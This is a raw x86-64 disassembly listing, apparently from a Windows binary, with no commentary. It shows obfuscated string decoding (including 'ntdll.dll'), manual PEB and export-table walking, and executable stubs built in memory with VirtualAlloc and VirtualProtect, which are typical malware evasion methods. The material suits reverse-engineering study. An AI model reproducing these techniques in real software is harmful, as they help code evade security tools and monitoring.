mov qword [rbp - 0x70], rax
test rax, rax
je 0x14002ac55
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0xb71]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002aac8
inc rax
test edi, edi
jne 0x14002aab3
xor r9d, r9d
test r8d, r8d
je 0x14002aade
inc rdx
cmp rdx, qword [rbp - 0x70]
jb 0x14002aaa2
jmp 0x14002ac55
movzx eax, word [r15 + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14002ac55
mov eax, dword [rdx + 4]
mov dword [rsp + 0x78], eax
mov r15d, 1
cmp eax, r15d
jl 0x14002ac5b
mov edx, 0x1000
xor ecx, ecx
lea r9d, [r15 + 3]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.14008ce90
or dword [rbp + 0x4b54], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x37d0]
call fcn.14002ef44
lea rcx, [rbp + 0x37d0]
call fcn.14002e95c
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor eax, eax
mov r14d, eax
lea ebx, [rax + 1]
lea rcx, [rbp + 0x37d0]
call fcn.14002e95c
mov eax, eax
mov qword [rbp + r14*8 + 0x43540], rax
add r14, rbx
cmp r14, 0x200
jl 0x14002ab7c
mov ebx, 0x1000
mov r8d, ebx
lea rdx, [rbp + 0x43540]
mov rcx, r15
call fcn.1400b4700
mov eax, dword [rsp + 0x78]
mov dword [0x1400dd364], eax
add rdi, r15
movsd xmm0, qword [0x1400dd360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400dd368]
mov word [rdi + 8], ax
mov al, byte [0x1400dd36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xf14], eax
lea r9, [rbp + 0xf14]
lea r14d, [rax + 0x20]
mov r8d, r14d
mov edx, ebx
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp - 0x38]
call rdi
lea r9, [rbp + 0xf14]
mov r8d, dword [rbp + 0xf14]
mov edx, ebx
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, ebx
mov rcx, r15
call fcn.1400b4da0
lea edx, [r14 - 0x15]
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor r9d, r9d
mov dword [0x1400dd364], r9d
lea ebx, [r14 - 0xf]
mov r15d, 1
mov dword [rbp + 0xd68], r9d
lea rdx, [rbp + 0xd68]
mov rcx, qword [rbp + 0xd60]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov edx, dword [rbp + 0xd68]
cmp edx, 0x103
je 0x14002b237
lea rcx, [rbp + 0xd00]
call fcn.14001302c
mov r15, rax
mov dword [rbp + 0xb88], 0xa3d02a1b
mov word [rbp + 0xb8c], 0x29a0
mov edi, Ordinal_32
mov r9d, edi
lea r8d, [rdi - 0x1a]
mov dl, r14b
lea rcx, [rbp + 0xb88]
call fcn.14002e168
mov byte [rbp + 0xb8e], al
mov r9d, edi
lea r8d, [rdi - 0x19]
mov dl, 0x43
lea rcx, [rbp + 0xb88]
call fcn.14002e168
mov byte [rbp + 0xb8f], al
mov r9d, edi
lea r8d, [rdi - 0x18]
mov dl, WSAStartup
lea rcx, [rbp + 0xb88]
call fcn.14002e168
mov byte [rbp + 0xb90], al
mov r9d, edi
lea r8d, [rdi - 0x17]
mov dl, 0x61
lea rcx, [rbp + 0xb88]
call fcn.14002e168
mov byte [rbp + 0xb91], al
mov r9d, edi
lea r8d, [rdi - 0x16]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xb88]
call fcn.14002e168
mov byte [rbp + 0xb92], al
mov r9d, edi
lea r8d, [rdi - 0x15]
mov dl, 0x68
lea rcx, [rbp + 0xb88]
call fcn.14002e168
mov byte [rbp + 0xb93], al
mov r9d, edi
lea r8d, [rdi - 0x14]
mov dl, r14b
lea rcx, [rbp + 0xb88]
call fcn.14002e168
mov byte [rbp + 0xb94], al
mov r9d, edi
lea r8d, [rdi - 0x13]
mov dl, 0x44
lea rcx, [rbp + 0xb88]
call fcn.14002e168
mov byte [rbp + 0xb95], al
mov r9d, edi
lea r8d, [rdi - 0x12]
mov dl, 0x65
lea rcx, [rbp + 0xb88]
call fcn.14002e168
mov byte [rbp + 0xb96], al
mov r9d, edi
lea r8d, [rdi - 0x11]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xb88]
call fcn.14002e168
mov byte [rbp + 0xb97], al
mov r9d, edi
lea r8d, [rdi - 0x10]
mov dl, 0x65
lea rcx, [rbp + 0xb88]
call fcn.14002e168
mov byte [rbp + 0xb98], al
mov r9d, edi
mov r8, r12
mov dl, 0x63
lea rcx, [rbp + 0xb88]
call fcn.14002e168
mov byte [rbp + 0xb99], al
mov r9d, edi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xb88]
call fcn.14002e168
mov byte [rbp + 0xb9a], al
mov r9d, edi
lea r8d, [rdi - 0xd]
mov dl, 0x65
lea rcx, [rbp + 0xb88]
call fcn.14002e168
mov byte [rbp + 0xb9b], al
mov r9d, edi
lea r8d, [rdi - 0xc]
mov dl, 0x64
lea rcx, [rbp + 0xb88]
call fcn.14002e168
mov byte [rbp + 0xb9c], al
mov r9d, edi
mov r8, rsi
mov dl, reloc.WLDAP32.dll_Ordinal_33
lea rcx, [rbp + 0xb88]
call fcn.14002e168
mov byte [rbp + 0xb9d], al
mov r9d, edi
lea r8d, [rdi - 0xa]
mov dl, r14b
lea rcx, [rbp + 0xb88]
call fcn.14002e168
mov byte [rbp + 0xb9e], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, 0x45
lea rcx, [rbp + 0xb88]
call fcn.14002e168
mov byte [rbp + 0xb9f], al
mov r9d, edi
mov r8, r13
mov dl, WSAStartup
lea rcx, [rbp + 0xb88]
call fcn.14002e168
mov byte [rbp + 0xba0], al
mov r9d, edi
lea r8d, [rdi - 7]
mov dl, WSAStartup
lea rcx, [rbp + 0xb88]
call fcn.14002e168
mov byte [rbp + 0xba1], al
mov r9d, edi
lea r8d, [rdi - 6]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xb88]
call fcn.14002e168
mov byte [rbp + 0xba2], al
mov r9d, edi
lea r8d, [rdi - 5]
mov dl, WSAStartup
lea rcx, [rbp + 0xb88]
call fcn.14002e168
mov byte [rbp + 0xba3], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, 0x49
lea rcx, [rbp + 0xb88]
call fcn.14002e168
mov byte [rbp + 0xba4], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, 0x44
lea rcx, [rbp + 0xb88]
call fcn.14002e168
mov byte [rbp + 0xba5], al
mov r9d, edi
lea r8d, [rdi - 2]
mov dl, 0x3a
lea rcx, [rbp + 0xb88]
call fcn.14002e168
mov byte [rbp + 0xba6], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, r14b
lea rcx, [rbp + 0xb88]
call fcn.14002e168
mov byte [rbp + 0xba7], al
xor eax, eax
mov byte [rbp + 0xba8], al
xor esi, esi
mov r8d, esi
mov r9d, edi
lea r13d, [rdi - 0x1e]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0xb88]
add eax, r13d
movsxd rdi, eax
lea rax, [r8 + 0x1f]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0xb88]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0xb89], dil
add r8, r13
add r9, 0x1f
cmp r9, 0x3e0
jb 0x14002af8b
mov byte [rbp + 0xba8], sil
mov r8, r15
lea rdx, [rbp + 0xb89]
lea rcx, [rbp + 0x1050]
call fcn.14002ef90
lea rcx, [rbp + 0xd00]
call fcn.14002eca0
mov dword [rbp + 0xbc0], 0x7dbbb629
mov word [rbp + 0xbc4], 0x537b
mov byte [rbp + 0xbc6], Ordinal_143
mov r9, rbx
mov r8d, 6
mov dl, WSAStartup
lea rcx, [rbp + 0xbc0]
call fcn.14002e0f0
mov byte [rbp + 0xbc7], al
mov r9, rbx
mov r8d, 7
mov dl, 0x61
lea rcx, [rbp + 0xbc0]
call fcn.14002e0f0
mov byte [rbp + 0xbc8], al
mov r9, rbx
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0xbc0]
call fcn.14002e0f0
mov byte [rbp + 0xbc9], al
mov r9, rbx
mov r8d, 9
mov dl, r14b
lea rcx, [rbp + 0xbc0]
call fcn.14002e0f0
mov byte [rbp + 0xbca], al
mov r9, rbx
mov r8d, 0xa
mov dl, 0x57
lea rcx, [rbp + 0xbc0]
call fcn.14002e0f0
mov byte [rbp + 0xbcb], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0xbc0]
call fcn.14002e0f0
mov byte [rbp + 0xbcc], al
mov r9, rbx
mov r8d, ntohs
mov dl, WSAStartup
lea rcx, [rbp + 0xbc0]
call fcn.14002e0f0
mov byte [rbp + 0xbcd], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_listen
mov dl, WSAGetLastError
lea rcx, [rbp + 0xbc0]
call fcn.14002e0f0
mov byte [rbp + 0xbce], al
mov r9, rbx
mov r8d, select
mov dl, 0x69
lea rcx, [rbp + 0xbc0]
call fcn.14002e0f0
mov byte [rbp + 0xbcf], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, WSAGetLastError
lea rcx, [rbp + 0xbc0]
call fcn.14002e0f0
mov byte [rbp + 0xbd0], al
mov r9, rbx
mov r8, r12
mov dl, 0x67
lea rcx, [rbp + 0xbc0]
call fcn.14002e0f0
mov byte [rbp + 0xbd1], al
xor eax, eax
mov byte [rbp + 0xbd2], al
mov r8, rsi
mov r9, rbx
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0xbc0]
add eax, r13d
movsxd rdi, eax
lea rax, [r8 + 0x11]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0xbc0]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0xbc1], dil
add r8, r13
add r9, rbx
cmp r9, 0x132
jb 0x14002b195
mov byte [rbp + 0xbd2], sil
lea rcx, [rbp + 0x1050]
call fcn.14002eae4
xor r9d, r9d
lea r8, [rbp + 0xbc1]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, r13d
call fcn.140093e48
int3
mov qword [rbp + 0xd80], 0x1000
mov rax, qword [rbp - 0x80]
mov qword [rbp + 0xda0], rax
mov rax, qword [rbp + 0xd60]
mov qword [rsp + 0x70], rax
mov ecx, 0x1000
call fcn.14008d174
mov qword [rbp - 0x80], rax
mov r8, qword [rbp + 0xd80]
xor edx, edx
mov rcx, rax
call fcn.1400b4da0
mov rax, qword [rbp + 0xd80]
mov qword [rbp - 0x38], rax
mov rax, qword [rbp + 0xda0]
mov qword [rbp - 0x30], rax
mov byte [rbp + 0x620], Ordinal_79
mov r9, rsi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x620]
call fcn.14002e778
mov byte [rbp + 0x621], al
mov r9, rsi
mov r8, r15
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x620]
call fcn.14002e778
mov byte [rbp + 0x622], al
mov r9, rsi
mov r8d, 2
mov dl, 0x57
lea rcx, [rbp + 0x620]
call fcn.14002e778
mov byte [rbp + 0x623], al
mov r9, rsi
mov r8d, 3
mov dl, WSAStartup
lea rcx, [rbp + 0x620]
call fcn.14002e778
mov byte [rbp + 0x624], al
mov r9, rsi
mov r8d, 4
mov dl, 0x69
lea rcx, [rbp + 0x620]
call fcn.14002e778
mov byte [rbp + 0x625], al
mov r9, rsi
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x620]
call fcn.14002e778
mov byte [rbp + 0x626], al
mov r9, rsi
mov r8d, 6
mov dl, 0x65
lea rcx, [rbp + 0x620]
call fcn.14002e778
mov byte [rbp + 0x627], al
mov r9, rsi
mov r8d, 7
mov dl, 0x56
lea rcx, [rbp + 0x620]
call fcn.14002e778
mov byte [rbp + 0x628], al
mov r9, rsi
mov r8d, 8
mov dl, 0x69
lea rcx, [rbp + 0x620]
call fcn.14002e778
mov byte [rbp + 0x629], al
mov r9, rsi
mov r8d, 9
mov dl, WSAStartup
lea rcx, [rbp + 0x620]
call fcn.14002e778
mov byte [rbp + 0x62a], al
mov r9, rsi
mov r8d, 0xa
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x620]
call fcn.14002e778
mov byte [rbp + 0x62b], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x75
lea rcx, [rbp + 0x620]
call fcn.14002e778
mov byte [rbp + 0x62c], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x620]
call fcn.14002e778
mov byte [rbp + 0x62d], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0x620]
call fcn.14002e778
mov byte [rbp + 0x62e], al
mov r9, rsi
mov r8d, select
mov dl, 0x4d
lea rcx, [rbp + 0x620]
call fcn.14002e778
mov byte [rbp + 0x62f], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x65
lea rcx, [rbp + 0x620]
call fcn.14002e778
mov byte [rbp + 0x630], al
mov r9, rsi
mov r8, r12
mov dl, 0x6d
lea rcx, [rbp + 0x620]
call fcn.14002e778
mov byte [rbp + 0x631], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x620]
call fcn.14002e778
mov byte [rbp + 0x632], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_select
mov dl, WSAStartup
lea rcx, [rbp + 0x620]
call fcn.14002e778
mov byte [rbp + 0x633], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_send
mov dl, 0x79
lea rcx, [rbp + 0x620]
call fcn.14002e778
mov byte [rbp + 0x634], al
xor eax, eax
mov byte [rbp + 0x635], al
mov edi, eax
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x621]
lea rcx, [rbp + 0x620]
call fcn.14002e778
mov byte [rbp + rdi + 0x621], al
add rdi, r15
cmp rdi, rsi
jb 0x14002b4d7
xor edi, edi
mov byte [rbp + 0x635], dil
mov word [rbp + 0x40], 0x751d
lea r9d, [rdi + 9]
mov r8, r15
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x40]
call fcn.14002e000
mov byte [rbp + 0x42], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x40]
call fcn.14002e000
mov byte [rbp + 0x43], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x40]
call fcn.14002e000
mov byte [rbp + 0x44], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x40]
call fcn.14002e000
mov byte [rbp + 0x45], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x40]
call fcn.14002e000
mov byte [rbp + 0x46], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x40]
call fcn.14002e000
mov byte [rbp + 0x47], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x40]
call fcn.14002e000
mov byte [rbp + 0x48], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x40]
call fcn.14002e000
mov byte [rbp + 0x49], al
xor eax, eax
mov byte [rbp + 0x4a], al
mov r8d, edi
lea r9d, [rdi + 9]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0x40]
add eax, r15d
movsxd rdi, eax
lea rax, [r8 + 9]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x40]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x41], dil
add r8, r15
add r9, 9
cmp r9, 0x5a
jb 0x14002b5d3
xor r9d, r9d
mov byte [rbp + 0x4a], r9b
mov rax, qword gs:[0x60]
test rax, rax
je 0x14002b743
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x50], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x60], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rdi, eax
xor eax, eax
mov r15d, eax
lea rcx, [rdi + 1]
call fcn.14008d174
mov r9, rax
mov qword [rbp - 0x70], rax
xor eax, eax
mov edx, eax
test edi, edi
jle 0x14002b6c6
lea r11d, [rax + 1]
mov r8d, r11d
mov rbx, qword [rsp + 0x60]
mov ecx, r8d
cmp word [rbx + rdx*2], 0x5c
cmovne ecx, r15d
mov r15d, ecx
mov al, byte [rbx + rdx*2]
mov byte [r9 + rdx], al
add r8d, r11d
add rdx, r11
cmp rdx, rdi
jl 0x14002b6a0
mov ebx, reloc.WS2_32.dll_recvfrom
sub edi, r15d
movsxd rdi, edi
movsxd rdx, r15d
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400b4700
mov rcx, qword [rbp - 0x70]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rsp + 0x60], r10
je 0x14002b71d
mov rax, rcx
lea r9, [rbp + 0x41]
sub r9, rcx
lea r15d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14002b716
add rax, r15
test edx, edx
jne 0x14002b701
test r8d, r8d
cmove edi, r15d
call fcn.14008cef0
xor r9d, r9d
test dil, dil
jne 0x14002bc4a
mov rax, qword [rbp - 0x50]
mov rax, qword [rax]
mov qword [rbp - 0x50], rax
cmp rax, qword [rbp - 0x78]
jne 0x14002b662
mov edi, r9d
mov rcx, qword [rbp - 0x80]
call fcn.14008cef0
test edi, edi
js 0x14002c0a6
mov word [rbp + 0x4b8], 0x1051
mov r15d, reloc.WS2_32.dll_send
mov r9d, r15d
lea r14d, [r15 - 0x12]
mov r8d, r14d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x4b8]
call fcn.14002e7f4
mov byte [rbp + 0x4ba], al
mov r9d, r15d
lea r8d, [r15 - 0x11]
mov dl, 0x46
lea rcx, [rbp + 0x4b8]
call fcn.14002e7f4
mov byte [rbp + 0x4bb], al
mov r9d, r15d
lea r8d, [r15 - 0x10]
mov dl, WSAStartup
lea rcx, [rbp + 0x4b8]
call fcn.14002e7f4
mov byte [rbp + 0x4bc], al
mov r9d, r15d
lea r8d, [r15 - 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x4b8]
call fcn.14002e7f4
mov byte [rbp + 0x4bd], al
mov r9d, r15d
lea r8d, [r15 - 0xe]
mov dl, 0x65
lea rcx, [rbp + 0x4b8]
call fcn.14002e7f4
mov byte [rbp + 0x4be], al
mov r9d, r15d
lea r8d, [r15 - 0xd]
mov dl, 0x56
lea rcx, [rbp + 0x4b8]
call fcn.14002e7f4
mov byte [rbp + 0x4bf], al
mov r9d, r15d
lea r8d, [r15 - 0xc]
mov dl, 0x69
lea rcx, [rbp + 0x4b8]
call fcn.14002e7f4
mov byte [rbp + 0x4c0], al
mov r9d, r15d
lea r8d, [r15 - 0xb]
mov dl, WSAStartup
lea rcx, [rbp + 0x4b8]
call fcn.14002e7f4
mov byte [rbp + 0x4c1], al
mov r9d, r15d
lea r8d, [r15 - 0xa]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x4b8]
call fcn.14002e7f4
mov byte [rbp + 0x4c2], al
mov r9d, r15d
lea r8d, [r15 - 9]
mov dl, 0x75
lea rcx, [rbp + 0x4b8]
call fcn.14002e7f4
mov byte [rbp + 0x4c3], al
mov r9d, r15d
lea r8d, [r15 - 8]
mov dl, 0x61
lea rcx, [rbp + 0x4b8]
call fcn.14002e7f4
mov byte [rbp + 0x4c4], al
mov r9d, r15d
lea r8d, [r15 - 7]
mov dl, 0x6c
lea rcx, [rbp + 0x4b8]
call fcn.14002e7f4
mov byte [rbp + 0x4c5], al
mov r9d, r15d
lea r8d, [r15 - 6]
mov dl, 0x4d
lea rcx, [rbp + 0x4b8]
call fcn.14002e7f4
mov byte [rbp + 0x4c6], al
mov r9d, r15d
lea r8d, [r15 - 5]
mov dl, 0x65
lea rcx, [rbp + 0x4b8]
call fcn.14002e7f4
mov byte [rbp + 0x4c7], al
mov r9d, r15d
lea r8d, [r15 - 4]
mov dl, 0x6d
lea rcx, [rbp + 0x4b8]
call fcn.14002e7f4
mov byte [rbp + 0x4c8], al
mov r9d, r15d
mov r8, r12
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x4b8]
call fcn.14002e7f4
mov byte [rbp + 0x4c9], al
mov r9d, r15d
mov r8, rbx
mov dl, WSAStartup
lea rcx, [rbp + 0x4b8]
call fcn.14002e7f4
mov byte [rbp + 0x4ca], al
mov r9d, r15d
lea r8d, [r15 - 1]
mov dl, 0x79
lea rcx, [rbp + 0x4b8]
call fcn.14002e7f4
mov byte [rbp + 0x4cb], al
xor eax, eax
mov byte [rbp + 0x4cc], al
mov r8d, eax
mov r9d, r15d
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0x4b8]
add eax, r14d
movsxd rdi, eax
lea rax, [r8 + 0x13]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x4b8]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x4b9], dil
add r8, r14
add r9, r15
cmp r9, 0x17c
jb 0x14002b965
xor r15d, r15d
mov byte [rbp + 0x4cc], r15b
mov word [rbp + 0x248], 0x4e04
mov byte [rbp + 0x24a], 0x54
lea edi, [r15 + 9]
mov r9d, edi
lea r8d, [r15 + 2]
mov dl, 0x64
lea rcx, [rbp + 0x248]
call fcn.14002e000
mov byte [rbp + 0x24b], al
mov r9d, edi
lea r8d, [r15 + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x248]
call fcn.14002e000
mov byte [rbp + 0x24c], al
mov r9d, edi
lea r8d, [r15 + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x248]
call fcn.14002e000
mov byte [rbp + 0x24d], al
mov r9d, edi
lea r8d, [r15 + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x248]
call fcn.14002e000
mov byte [rbp + 0x24e], al
mov r9d, edi
lea r8d, [r15 + 6]
mov dl, 0x64
lea rcx, [rbp + 0x248]
call fcn.14002e000
mov byte [rbp + 0x24f], al
mov r9d, edi
lea r8d, [r15 + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x248]
call fcn.14002e000
mov byte [rbp + 0x250], al
mov r9d, edi
lea r8d, [r15 + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x248]
call fcn.14002e000
mov byte [rbp + 0x251], al
xor eax, eax
mov byte [rbp + 0x252], al
mov r8d, r15d
mov r9d, edi
lea r14d, [r15 + 0x20]
lea r10d, [r15 + 1]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x248]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 9]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x248]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x249], dil
add r8, r10
add r9, 9
cmp r9, 0x5a
jb 0x14002bad1
mov byte [rbp + 0x252], r15b
mov rax, qword gs:[0x60]
test rax, rax
je 0x14002bf05
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x50], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x60], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
movsxd rdi, eax
lea rcx, [rdi + 1]
call fcn.14008d174
mov r9, rax
mov qword [rbp - 0x70], rax
xor eax, eax
mov edx, eax
test edi, edi
jle 0x14002bbc8
lea r11d, [rax + 1]
mov r8d, r11d
mov rsi, qword [rsp + 0x60]
mov ecx, r8d
cmp word [rsi + rdx*2], 0x5c
cmovne ecx, r15d
mov r15d, ecx
mov al, byte [rsi + rdx*2]
mov byte [rdx + r9], al
add r8d, r11d
add rdx, r11
cmp rdx, rdi
jl 0x14002bba2
mov esi, reloc.WS2_32.dll_sendto
sub edi, r15d
movsxd rdi, edi
movsxd rdx, r15d
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400b4700
mov rcx, qword [rbp - 0x70]
xor r15d, r15d
mov byte [rdi + rcx], r15b
movzx edi, r15b
cmp qword [rsp + 0x60], r15
je 0x14002bc22
mov rax, rcx
lea r9, [rbp + 0x249]
sub r9, rcx
lea r10d, [r15 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14002bc1b
add rax, r10
test edx, edx
jne 0x14002bc06
test r8d, r8d
cmove edi, r10d
call fcn.14008cef0
test dil, dil
jne 0x14002be79
mov rax, qword [rbp - 0x50]
mov rax, qword [rax]
mov qword [rbp - 0x50], rax
cmp rax, qword [rbp - 0x78]
jne 0x14002bb69
jmp 0x14002bf05
mov rcx, qword [rbp - 0x50]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x14002b743
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14002b743
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14002b743
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14002b743
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov r15d, dword [rax + 0x24]
add r15, rcx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x14002b743
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x621]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14002bcd8
inc rax
test edi, edi
jne 0x14002bcc3
xor r9d, r9d
test r8d, r8d
je 0x14002bcee
inc rdx
cmp rdx, qword [rbp - 0x70]
jb 0x14002bcb2
jmp 0x14002b743
movzx eax, word [r15 + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14002b743
mov eax, dword [rdx + 4]
mov dword [rsp + 0x78], eax
mov ecx, 1
cmp eax, ecx
jl 0x14002b743
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.14008ce90
or dword [rbp + 0x5ee4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x4b60]
call fcn.14002ef44
lea rcx, [rbp + 0x4b60]
call fcn.14002e95c
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor eax, eax
mov esi, eax
lea r14d, [rax + 1]
lea rcx, [rbp + 0x4b60]
call fcn.14002e95c
mov eax, eax
mov qword [rbp + rsi*8 + 0x44540], rax
add rsi, r14
cmp rsi, 0x200
jl 0x14002bd8a
mov r8d, 0x1000
lea rdx, [rbp + 0x44540]
mov rcx, r15
call fcn.1400b4700
mov eax, dword [rsp + 0x78]
mov dword [0x1400dd364], eax
add rdi, r15
movsd xmm0, qword [0x1400dd360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400dd368]
mov word [rdi + 8], ax
mov al, byte [0x1400dd36a]
mov byte [rdi + 0xa], al
xor esi, esi
mov dword [rbp + 0xf10], esi
lea r9, [rbp + 0xf10]
lea r14d, [rsi + 0x20]
mov r8d, r14d
